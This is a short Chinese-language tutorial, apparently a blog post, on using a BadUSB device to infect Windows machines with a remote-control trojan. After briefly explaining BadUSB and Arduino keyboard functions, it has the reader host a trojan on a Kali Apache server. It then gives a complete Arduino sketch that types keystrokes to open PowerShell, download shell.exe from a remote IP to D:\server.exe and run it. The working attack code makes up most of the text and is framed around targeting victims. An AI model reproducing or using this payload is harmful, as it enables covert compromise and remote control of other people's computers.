利用badusb对用户进行木马远控

最近接触到利用badsub进行攻击的方法，于是自己研究了一波，先给出一个badusb木马远控案例。

badusb简介

badusb是一种类似于U盘，插入后就会自动执行里面的恶意代码进行恶意操作，由于恶意代码是存在badusb存放固件的区域中，所以杀毒软件和U盘格式化都不能防御badusb的攻击

badusb基本语法和arduino按键代码

delay(5000);//延时毫秒

Keyboard.begin(); //开始键盘通讯

Keyboard.end(); //结束键盘通讯

Keyboard.press(); //按下键盘按键 如果是非特殊按键如 数字、字母按键用单引号括起来

Keyboard.release(); //释放键盘按键

Keyboard.println(“”); //输入字符串使用双引号括起来


Mouse.begin();//鼠标事件开始

Mouse.click();//鼠标单击

Mouse.end();//鼠标事件结束

Mouse.move();//鼠标移动(x,y)

Mouse.press();//鼠标按下

Mouse.release();//鼠标松开

远控木马制作方法

为了让受害用户下载这个木马，所以将木马上传到服务器上面，kali就打开apache服务，放进var/www/html目录里面，首先要打开apache服务，service apache2 start

写badusb代码

#include<Keyboard.h>
void setup() {
// put your setup code here, to run once:
Keyboard.begin();//开始键盘通讯
delay(1000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(200);
Keyboard.press('r');//r键
delay(300);
Keyboard.release(KEY_LEFT_GUI);//释放win 键
Keyboard.release('r');//释放R键
Keyboard.press(KEY_CAPS_LOCK);//切换大小写，绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.println("cmd ");
delay(200);
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println("powershell ");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println("$clnt = new-object System.Net.WebClient; ");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println("$url= 'http://192.168.43.127/shell.exe'; ");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println("$file = ' D:\\server.exe'; ");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println("$clnt.DownloadFile($url,$file); ");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println("START D:\\server.exe ");
Keyboard.press(KEY_RETURN);
delay(500);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.end();//结束键盘通讯
}

void loop() {
// put your main code here, to run repeatedly:

}
